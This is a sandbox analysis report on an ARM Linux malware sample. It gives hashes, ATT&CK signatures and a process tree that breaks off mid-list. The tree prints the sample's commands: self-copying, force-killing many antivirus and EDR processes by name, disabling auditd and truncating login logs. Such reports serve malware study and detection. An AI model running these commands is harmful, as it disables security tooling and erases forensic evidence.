6be5b8be4c8363c005ef79ecbc70c69c8075c992ec2ff14faa341b13759e8b8f

Analysis

max time kernel
150s
max time network
153s
platform
debian-12_armhf
resource
debian12-armhf-20260513-en
resource tags

arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
submitted
23/09/2026, 22:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
qzxuuppn.armv6l.elf
Size 921KB
Sample260923-2ayfnaef53
SHA256 6be5b8be4c8363c005ef79ecbc70c69c8075c992ec2ff14faa341b13759e8b8f
MD5 bd8bab7bb25e6b5308ebcc95634899f9
SHA1 e228edae6dabb14dfac65b06ab6f941eedf202b2
SHA512 5bb51d05301a0600f2de8f4f9f631483dc4d79691a258feb3e40af31a3288438c7e48952db7d1c17f71fdb666e090ec5785a26771df0c30529628eda1c16ef39
SSDEEP 24576:JYxIC+gqsIU27iAy+cMQRfb+zpH2K6k2hknuQ6J1:jwo+z4YK6k2hkOJ1
TLSH
T198154C55F890DF63C5D4677AF65E82A833234778C3D7720689148B383BA7A2F4B3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

antivm defense_evasion discovery

Malware Config

Signatures

Contacts a large (514) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
966	sh
968	chmod

Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/sys/class/dmi/id/bios_vendor	qzxuuppn.armv6l.elf
File opened for reading	/sys/class/dmi/id/board_vendor	qzxuuppn.armv6l.elf
File opened for reading	/sys/class/dmi/id/product_name	qzxuuppn.armv6l.elf
File opened for reading	/sys/class/dmi/id/sys_vendor	qzxuuppn.armv6l.elf

Deletes log files 1 TTPs 4 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/secure	truncate
File truncated	/var/log/wtmp	truncate
File truncated	/var/log/lastlog	truncate
File truncated	/var/log/auth*	truncate

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 2 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/lo/address	qzxuuppn.armv6l.elf
File opened for reading	/sys/class/net/eth0/address	qzxuuppn.armv6l.elf

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	qzxuuppn.armv6l.elf

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	qzxuuppn.armv6l.elf

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	qzxuuppn.armv6l.elf

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/8/cgroup	pkill
File opened for reading	/proc/32/cmdline	pkill
File opened for reading	/proc/999/cgroup	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/321/ctty	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/308/stat	pkill
File opened for reading	/proc/367/status	pkill
File opened for reading	/proc/256/stat	pkill
File opened for reading	/proc/256/cmdline	pkill
File opened for reading	/proc/332/cmdline	pkill
File opened for reading	/proc/624/status	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/12/cgroup	pkill
File opened for reading	/proc/803/stat	pkill
File opened for reading	/proc/73/ctty	pkill
File opened for reading	/proc/1/stat	pkill
File opened for reading	/proc/42/ctty	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/672/ctty	pkill
File opened for reading	/proc/143/status	pkill
File opened for reading	/proc/16/stat	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/1158/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/3/cgroup	pkill
File opened for reading	/proc/33/ctty	pkill
File opened for reading	/proc/35/cmdline	pkill
File opened for reading	/proc/23/ctty	pkill
File opened for reading	/proc/987/stat	pkill
File opened for reading	/proc/873/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/27/stat	pkill
File opened for reading	/proc/677/cgroup	pkill
File opened for reading	/proc/975/status	pkill
File opened for reading	/proc/30/stat	pkill
File opened for reading	/proc/806/cmdline	pkill
File opened for reading	/proc/30/cgroup	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/367/status	pkill
File opened for reading	/proc/51/ctty	pkill
File opened for reading	/proc/22/ctty	pkill
File opened for reading	/proc/641/ctty	pkill
File opened for reading	/proc/391/status	pkill
File opened for reading	/proc/3/ctty	pkill
File opened for reading	/proc/56/cmdline	pkill
File opened for reading	/proc/15/cgroup	pkill
File opened for reading	/proc/324/stat	pkill
File opened for reading	/proc/13/stat	pkill
File opened for reading	/proc/4/stat	pkill
File opened for reading	/proc/28/ctty	pkill
File opened for reading	/proc/1091/cmdline	pkill
File opened for reading	/proc/30/ctty	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/969/cmdline	pkill
File opened for reading	/proc/51/ctty	pkill
File opened for reading	/proc/3/ctty	pkill
File opened for reading	/proc/36/stat	pkill
File opened for reading	/proc/56/cgroup	pkill
File opened for reading	/proc/324/stat	pkill
File opened for reading	/proc/391/cgroup	pkill
File opened for reading	/proc/10/cgroup	pkill
File opened for reading	/proc/22/ctty	pkill
File opened for reading	/proc/642/ctty	pkill

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1171	sh
1172	pkill
1214	sh
1215	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.zl	qzxuuppn.armv6l.elf

/tmp/qzxuuppn.armv6l.elf
/tmp/qzxuuppn.armv6l.elf
1⤵
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:806
- /bin/sh
  sh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:966
- - /usr/bin/cp
    cp /proc/self/exe /var/.z
    3⤵
    PID:967
- - /usr/bin/chmod
    chmod +x /var/.z
    3⤵
    - File and Directory Permissions Modification
    PID:968
- /bin/sh
  sh -c -- "pkill -9 -x kavsvc 2>/dev/null &"
  2⤵
  PID:970
- /bin/sh
  sh -c -- "pkill -9 -x kavf4 2>/dev/null &"
  2⤵
  PID:972
- /bin/sh
  sh -c -- "pkill -9 -x kavguard 2>/dev/null &"
  2⤵
  PID:974
- /bin/sh
  sh -c -- "pkill -9 -x avp 2>/dev/null &"
  2⤵
  PID:976
- /bin/sh
  sh -c -- "pkill -9 -x avp5 2>/dev/null &"
  2⤵
  PID:978
- /bin/sh
  sh -c -- "pkill -9 -x avp6 2>/dev/null &"
  2⤵
  PID:980
- /bin/sh
  sh -c -- "pkill -9 -x msvsc 2>/dev/null &"
  2⤵
  PID:982
- /bin/sh
  sh -c -- "pkill -9 -x msasc 2>/dev/null &"
  2⤵
  PID:984
- /bin/sh
  sh -c -- "pkill -9 -x msmpeng 2>/dev/null &"
  2⤵
  PID:986
- /bin/sh
  sh -c -- "pkill -9 -x msseces 2>/dev/null &"
  2⤵
  PID:988
- /bin/sh
  sh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"
  2⤵
  PID:990
- /bin/sh
  sh -c -- "pkill -9 -x avast 2>/dev/null &"
  2⤵
  PID:992
- /bin/sh
  sh -c -- "pkill -9 -x avast5 2>/dev/null &"
  2⤵
  PID:994
- /bin/sh
  sh -c -- "pkill -9 -x avast6 2>/dev/null &"
  2⤵
  PID:996
- /bin/sh
  sh -c -- "pkill -9 -x avastsvc 2>/dev/null &"
  2⤵
  PID:998
- /bin/sh
  sh -c -- "pkill -9 -x ash 2>/dev/null &"
  2⤵
  PID:1000
- /bin/sh
  sh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"
  2⤵
  PID:1002
- /bin/sh
  sh -c -- "pkill -9 -x avgnt 2>/dev/null &"
  2⤵
  PID:1004
- /bin/sh
  sh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"
  2⤵
  PID:1006
- /bin/sh
  sh -c -- "pkill -9 -x avgnt2 2>/dev/null &"
  2⤵
  PID:1008
- /bin/sh
  sh -c -- "pkill -9 -x avgnt3 2>/dev/null &"
  2⤵
  PID:1010
- /bin/sh
  sh -c -- "pkill -9 -x clamd 2>/dev/null &"
  2⤵
  PID:1012
- /bin/sh
  sh -c -- "pkill -9 -x clamdscan 2>/dev/null &"
  2⤵
  PID:1014
- /bin/sh
  sh -c -- "pkill -9 -x clamonacc 2>/dev/null &"
  2⤵
  PID:1016
- /bin/sh
  sh -c -- "pkill -9 -x f-prot 2>/dev/null &"
  2⤵
  PID:1018
- /bin/sh
  sh -c -- "pkill -9 -x f-prot64 2>/dev/null &"
  2⤵
  PID:1020
- /bin/sh
  sh -c -- "pkill -9 -x f-sport 2>/dev/null &"
  2⤵
  PID:1022
- /bin/sh
  sh -c -- "pkill -9 -x f-sport64 2>/dev/null &"
  2⤵
  PID:1024
- /bin/sh
  sh -c -- "pkill -9 -x smon 2>/dev/null &"
  2⤵
  PID:1026
- /bin/sh
  sh -c -- "pkill -9 -x smon2 2>/dev/null &"
  2⤵
  PID:1028
- /bin/sh
  sh -c -- "pkill -9 -x smon3 2>/dev/null &"
  2⤵
  PID:1030
- /bin/sh
  sh -c -- "pkill -9 -x mcs 2>/dev/null &"
  2⤵
  PID:1032
- /bin/sh
  sh -c -- "pkill -9 -x mcs2 2>/dev/null &"
  2⤵
  PID:1034
- /bin/sh
  sh -c -- "pkill -9 -x mcs3 2>/dev/null &"
  2⤵
  PID:1036
- /bin/sh
  sh -c -- "pkill -9 -x navpsv32 2>/dev/null &"
  2⤵
  PID:1038
- /bin/sh
  sh -c -- "pkill -9 -x navpsv64 2>/dev/null &"
  2⤵
  PID:1040
- /bin/sh
  sh -c -- "pkill -9 -x navw32 2>/dev/null &"
  2⤵
  PID:1042
- /bin/sh
  sh -c -- "pkill -9 -x navw64 2>/dev/null &"
  2⤵
  PID:1044
- /bin/sh
  sh -c -- "pkill -9 -x avp.exe 2>/dev/null &"
  2⤵
  PID:1046
- /bin/sh
  sh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"
  2⤵
  PID:1048
- /bin/sh
  sh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"
  2⤵
  PID:1050
- /bin/sh
  sh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"
  2⤵
  PID:1052
- /bin/sh
  sh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"
  2⤵
  PID:1054
- /bin/sh
  sh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"
  2⤵
  PID:1056
- /bin/sh
  sh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"
  2⤵
  PID:1058
- /bin/sh
  sh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"
  2⤵
  PID:1060
- /bin/sh
  sh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"
  2⤵
  PID:1062
- /bin/sh
  sh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"
  2⤵
  PID:1064
- /bin/sh
  sh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"
  2⤵
  PID:1066
- /bin/sh
  sh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"
  2⤵
  PID:1068
- /bin/sh
  sh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"
  2⤵
  PID:1070
- /bin/sh
  sh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"
  2⤵
  PID:1072
- /bin/sh
  sh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"
  2⤵
  PID:1074
- /bin/sh
  sh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"
  2⤵
  PID:1076
- - /usr/bin/pkill
    pkill -9 -x avp20.exe
    3⤵
    - Reads runtime system information
    PID:1077
- /bin/sh
  sh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"
  2⤵
  PID:1078
- - /usr/bin/pkill
    pkill -9 -x avp21.exe
    3⤵
    - Reads runtime system information
    PID:1079
- /bin/sh
  sh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"
  2⤵
  PID:1080
- - /usr/bin/pkill
    pkill -9 -x avp22.exe
    3⤵
    - Reads runtime system information
    PID:1081
- /bin/sh
  sh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"
  2⤵
  PID:1082
- /bin/sh
  sh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"
  2⤵
  PID:1084
- /bin/sh
  sh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"
  2⤵
  PID:1086
- - /usr/bin/pkill
    pkill -9 -x avp25.exe
    3⤵
    PID:1087
- /bin/sh
  sh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"
  2⤵
  PID:1088
- - /usr/bin/pkill
    pkill -9 -x avp26.exe
    3⤵
    - Reads runtime system information
    PID:1089
- /bin/sh
  sh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"
  2⤵
  PID:1090
- /bin/sh
  sh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"
  2⤵
  PID:1092
- - /usr/bin/pkill
    pkill -9 -x avp28.exe
    3⤵
    PID:1093
- /bin/sh
  sh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"
  2⤵
  PID:1094
- /bin/sh
  sh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"
  2⤵
  PID:1096
- - /usr/bin/pkill
    pkill -9 -x avp30.exe
    3⤵
    - Reads runtime system information
    PID:1097
- /bin/sh
  sh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"
  2⤵
  PID:1098
- - /usr/bin/pkill
    pkill -9 -x avp31.exe
    3⤵
    PID:1099
- /bin/sh
  sh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"
  2⤵
  PID:1100
- - /usr/bin/pkill
    pkill -9 -x avp32.exe
    3⤵
    - Reads runtime system information
    PID:1101
- /bin/sh
  sh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"
  2⤵
  PID:1102
- - /usr/bin/pkill
    pkill -9 -x avp33.exe
    3⤵
    PID:1103
- /bin/sh
  sh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"
  2⤵
  PID:1104
- /bin/sh
  sh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"
  2⤵
  PID:1106
- - /usr/bin/pkill
    pkill -9 -x avp35.exe
    3⤵
    PID:1107
- /bin/sh
  sh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"
  2⤵
  PID:1108
- - /usr/bin/pkill
    pkill -9 -x avp36.exe
    3⤵
    - Reads runtime system information
    PID:1109
- /bin/sh
  sh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"
  2⤵
  PID:1110
- - /usr/bin/pkill
    pkill -9 -x avp37.exe
    3⤵
    - Reads runtime system information
    PID:1111
- /bin/sh
  sh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"
  2⤵
  PID:1112
- /bin/sh
  sh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"
  2⤵
  PID:1114
- - /usr/bin/pkill
    pkill -9 -x avp39.exe
    3⤵
    - Reads runtime system information
    PID:1115
- /bin/sh
  sh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"
  2⤵
  PID:1116
- - /usr/bin/pkill
    pkill -9 -x avp40.exe
    3⤵
    - Reads runtime system information
    PID:1117
- /bin/sh
  sh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"
  2⤵
  PID:1118
- - /usr/bin/pkill
    pkill -9 -x avp41.exe
    3⤵
    - Reads runtime system information
    PID:1119
- /bin/sh
  sh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"
  2⤵
  PID:1120
- - /usr/bin/pkill
    pkill -9 -x avp42.exe
    3⤵
    PID:1121
- /bin/sh
  sh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"
  2⤵
  PID:1122
- - /usr/bin/pkill
    pkill -9 -x avp43.exe
    3⤵
    PID:1123
- /bin/sh
  sh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"
  2⤵
  PID:1124
- /bin/sh
  sh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"
  2⤵
  PID:1126
- /bin/sh
  sh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"
  2⤵
  PID:1128
- /bin/sh
  sh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"
  2⤵
  PID:1130
- /bin/sh
  sh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"
  2⤵
  PID:1132
- /bin/sh
  sh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"
  2⤵
  PID:1134
- /bin/sh
  sh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"
  2⤵
  PID:1136
- /bin/sh
  sh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"
  2⤵
  PID:1139
- /bin/sh
  sh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"
  2⤵
  PID:1141
- /bin/sh
  sh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"
  2⤵
  PID:1143
- /bin/sh
  sh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"
  2⤵
  PID:1145
- /bin/sh
  sh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"
  2⤵
  PID:1147
- /bin/sh
  sh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"
  2⤵
  PID:1149
- /bin/sh
  sh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"
  2⤵
  PID:1151
- /bin/sh
  sh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"
  2⤵
  PID:1153
- /bin/sh
  sh -c -- "pkill -9 -f [x]agt 2>/dev/null &"
  2⤵
  PID:1155
- /bin/sh
  sh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"
  2⤵
  PID:1157
- /bin/sh
  sh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"
  2⤵
  PID:1159
- /bin/sh
  sh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"
  2⤵
  PID:1161
- /bin/sh
  sh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"
  2⤵
  PID:1163
- /bin/sh
  sh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"
  2⤵
  PID:1165
- /bin/sh
  sh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"
  2⤵
  PID:1167
- /bin/sh
  sh -c -- "pkill -9 -f [m]datp 2>/dev/null &"
  2⤵
  PID:1169
- /bin/sh
  sh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1171
- /bin/sh
  sh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"
  2⤵
  PID:1173
- /bin/sh
  sh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"
  2⤵
  PID:1175
- /bin/sh
  sh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"
  2⤵
  PID:1177
- /bin/sh
  sh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"
  2⤵
  PID:1179
- /bin/sh
  sh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"
  2⤵
  PID:1181
- /bin/sh
  sh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"
  2⤵
  PID:1183
- /bin/sh
  sh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"
  2⤵
  PID:1185
- /bin/sh
  sh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"
  2⤵
  PID:1187
- /bin/sh
  sh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"
  2⤵
  PID:1189
- /bin/sh
  sh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"
  2⤵
  PID:1191
- /bin/sh
  sh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"
  2⤵
  PID:1193
- /bin/sh
  sh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"
  2⤵
  PID:1195
- /bin/sh
  sh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"
  2⤵
  PID:1197
- /bin/sh
  sh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"
  2⤵
  PID:1199
- /bin/sh
  sh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"
  2⤵
  PID:1201
- - /usr/sbin/auditctl
    auditctl -e 0
    3⤵
    PID:1202
- /bin/sh
  sh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"
  2⤵
  PID:1206
- /bin/sh
  sh -c -- "pkill -9 -x mirai 2>/dev/null &"
  2⤵
  PID:1210
- /bin/sh
  sh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"
  2⤵
  PID:1212
- /bin/sh
  sh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1214
- /bin/sh
  sh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"
  2⤵
  PID:1216
- /bin/sh
  sh -c -- "pkill -9 -x gafgyt 2>/dev/null &"
  2⤵
  PID:1218
- /bin/sh
  sh -c -- "pkill -9 -x bashlite 2>/dev/null &"
  2⤵
  PID:1220

/usr/bin/pkill
pkill -9 -x kavsvc
1⤵
- Reads runtime system information
PID:971

/usr/bin/pkill
pkill -9 -x kavf4
1⤵
PID:973

/usr/bin/pkill
pkill -9 -x kavguard
1⤵
PID:975

/usr/bin/pkill
pkill -9 -x avp
1⤵
- Reads runtime system information
PID:977

/usr/bin/pkill
pkill -9 -x avp5
1⤵
PID:979

/usr/bin/pkill
pkill -9 -x avp6
1⤵
- Reads runtime system information
PID:981

/usr/bin/pkill
pkill -9 -x msvsc
1⤵
PID:983

/usr/bin/pkill
pkill -9 -x msasc
1⤵
PID:985

/usr/bin/pkill
pkill -9 -x msmpeng
1⤵
- Reads runtime system information
PID:987

/usr/bin/pkill
pkill -9 -x msseces
1⤵
- Reads runtime system information
PID:989

/usr/bin/pkill
pkill -9 -x msseces.exe
1⤵
- Reads runtime system information
PID:991

/usr/bin/pkill
pkill -9 -x avast
1⤵
- Reads runtime system information
PID:993

/usr/bin/pkill
pkill -9 -x avast5
1⤵
PID:995

/usr/bin/pkill
pkill -9 -x avast6
1⤵
- Reads runtime system information
PID:997

/usr/bin/pkill
pkill -9 -x avastsvc
1⤵
PID:999

/usr/bin/pkill
pkill -9 -x ash
1⤵
PID:1001

/usr/bin/pkill
pkill -9 -x ashmaisv
1⤵
PID:1003

/usr/bin/pkill
pkill -9 -x avgnt
1⤵
- Reads runtime system information
PID:1005

/usr/bin/pkill
pkill -9 -x avgnt.exe
1⤵
PID:1007

/usr/bin/pkill
pkill -9 -x avgnt2
1⤵
- Reads runtime system information
PID:1009

/usr/bin/pkill
pkill -9 -x avgnt3
1⤵
PID:1011

/usr/bin/pkill
pkill -9 -x clamd
1⤵
- Reads runtime system information
PID:1013

/usr/bin/pkill
pkill -9 -x clamdscan
1⤵
PID:1015

/usr/bin/pkill
pkill -9 -x clamonacc
1⤵
PID:1017

/usr/bin/pkill
pkill -9 -x f-prot
1⤵
PID:1019

/usr/bin/pkill
pkill -9 -x f-prot64
1⤵
PID:1021

/usr/bin/pkill
pkill -9 -x f-sport
1⤵
PID:1023

/usr/bin/pkill
pkill -9 -x f-sport64
1⤵
PID:1025

/usr/bin/pkill
pkill -9 -x smon
1⤵
- Reads runtime system information
PID:1027

/usr/bin/pkill
pkill -9 -x smon2
1⤵
- Reads runtime system information
PID:1029

/usr/bin/pkill
pkill -9 -x smon3
1⤵
PID:1031

/usr/bin/pkill
pkill -9 -x mcs
1⤵
PID:1033

/usr/bin/pkill
pkill -9 -x mcs2
1⤵
- Reads runtime system information
PID:1035

/usr/bin/pkill
pkill -9 -x mcs3
1⤵
PID:1037

/usr/bin/pkill
pkill -9 -x navpsv32
1⤵
PID:1039

/usr/bin/pkill
pkill -9 -x navpsv64
1⤵
PID:1041

/usr/bin/pkill
pkill -9 -x navw32
1⤵
PID:1043

/usr/bin/pkill
pkill -9 -x navw64
1⤵
- Reads runtime system information
PID:1045

/usr/bin/pkill
pkill -9 -x avp.exe
1⤵
PID:1047

/usr/bin/pkill
pkill -9 -x avpsvc.exe
1⤵
PID:1049

/usr/bin/pkill
pkill -9 -x avpcc.exe
1⤵
- Reads runtime system information
PID:1051

/usr/bin/pkill
pkill -9 -x avpm.exe
1⤵
PID:1053

/usr/bin/pkill
pkill -9 -x avp9.exe
1⤵
- Reads runtime system information
PID:1055

/usr/bin/pkill
pkill -9 -x avp10.exe
1⤵
- Reads runtime system information
PID:1057

/usr/bin/pkill
pkill -9 -x avp11.exe
1⤵
- Reads runtime system information
PID:1059

/usr/bin/pkill
pkill -9 -x avp12.exe
1⤵
PID:1061

/usr/bin/pkill
pkill -9 -x avp13.exe
1⤵
PID:1063

/usr/bin/pkill
pkill -9 -x avp14.exe
1⤵
PID:1065

/usr/bin/pkill
pkill -9 -x avp15.exe
1⤵
- Reads runtime system information
PID:1067

/usr/bin/pkill
pkill -9 -x avp16.exe
1⤵
PID:1069

/usr/bin/pkill
pkill -9 -x avp17.exe
1⤵
- Reads runtime system information
PID:1071

/usr/bin/pkill
pkill -9 -x avp18.exe
1⤵
PID:1073

/usr/bin/pkill
pkill -9 -x avp19.exe
1⤵
PID:1075

/usr/bin/pkill
pkill -9 -x avp23.exe
1⤵
- Reads runtime system information
PID:1083

/usr/bin/pkill
pkill -9 -x avp24.exe
1⤵
PID:1085

/usr/bin/pkill
pkill -9 -x avp27.exe
1⤵
PID:1091

/usr/bin/pkill
pkill -9 -x avp29.exe
1⤵
PID:1095

/usr/bin/pkill
pkill -9 -x avp34.exe
1⤵
- Reads runtime system information
PID:1105

/usr/bin/pkill
pkill -9 -x avp38.exe
1⤵
- Reads runtime system information
PID:1113

/usr/bin/pkill
pkill -9 -x avp44.exe
1⤵
- Reads runtime system information
PID:1125

/usr/bin/pkill
pkill -9 -x avp45.exe
1⤵
PID:1127

/usr/bin/pkill
pkill -9 -x avp46.exe
1⤵
- Reads runtime system information
PID:1129

/usr/bin/pkill
pkill -9 -x avp47.exe
1⤵
- Reads runtime system information
PID:1131

/usr/bin/pkill
pkill -9 -x avp48.exe
1⤵
PID:1133

/usr/bin/pkill
pkill -9 -x avp49.exe
1⤵
PID:1135

/usr/bin/pkill
pkill -9 -x avp50.exe
1⤵
PID:1137

/usr/bin/pkill
pkill -9 -f "[f]alcond"
1⤵
- Reads runtime system information
PID:1140

/usr/bin/pkill
pkill -9 -f "[f]alcon"
1⤵
PID:1142

/usr/bin/pkill
pkill -9 -f "[c]sagent"
1⤵
PID:1144

/usr/bin/pkill
pkill -9 -f "[c]rowdstrike"
1⤵
- Reads runtime system information
PID:1146

/usr/bin/pkill
pkill -9 -f "[s]entinelagent"
1⤵
PID:1148

/usr/bin/pkill
pkill -9 -f "[s]entinelhelper"
1⤵
- Reads runtime system information
PID:1150

/usr/bin/pkill
pkill -9 -f "[s]1-agent"
1⤵
- Reads runtime system information
PID:1152

/usr/bin/pkill
pkill -9 -f "[s]1-service"
1⤵
PID:1154

/usr/bin/pkill
pkill -9 -f "[x]agt"
1⤵
- Reads runtime system information
PID:1156

/usr/bin/pkill
pkill -9 -f "[c]bdefense"
1⤵
PID:1158

/usr/bin/pkill
pkill -9 -f "[c]bagent"
1⤵
- Reads runtime system information
PID:1160

/usr/bin/pkill
pkill -9 -f "[c]arbonblack"
1⤵
- Reads runtime system information
PID:1162

/usr/bin/pkill
pkill -9 -f "[r]epwel"
1⤵
PID:1164

/usr/bin/pkill
pkill -9 -f "[c]ylance"
1⤵
PID:1166

/usr/bin/pkill
pkill -9 -f "[s]vcdiva"
1⤵
PID:1168

/usr/bin/pkill
pkill -9 -f "[m]datp"
1⤵
PID:1170

/usr/bin/pkill
pkill -9 -f "[m]dallaips"
1⤵
- System Network Configuration Discovery
PID:1172

/usr/bin/pkill
pkill -9 -f "[s]ensedata"
1⤵
PID:1174

/usr/bin/pkill
pkill -9 -f "[s]ophos"
1⤵
- Reads runtime system information
PID:1176

/usr/bin/pkill
pkill -9 -f "[s]avscanner"
1⤵
- Reads runtime system information
PID:1178

/usr/bin/pkill
pkill -9 -f "[r]tvscan"
1⤵
PID:1180

/usr/bin/pkill
pkill -9 -f "[s]ymantec"
1⤵
- Reads runtime system information
PID:1182

/usr/bin/pkill
pkill -9 -f "[S]ymAux"
1⤵
PID:1184

/usr/bin/pkill
pkill -9 -f "[t]rendmicro"
1⤵
PID:1186

/usr/bin/pkill
pkill -9 -f "[d]s_agent"
1⤵
PID:1188

/usr/bin/pkill
pkill -9 -f "[e]dragent"
1⤵
PID:1190

/usr/bin/pkill
pkill -9 -f "[o]squeryd"
1⤵
- Reads runtime system information
PID:1192

/usr/bin/pkill
pkill -9 -f "[s]ysmon"
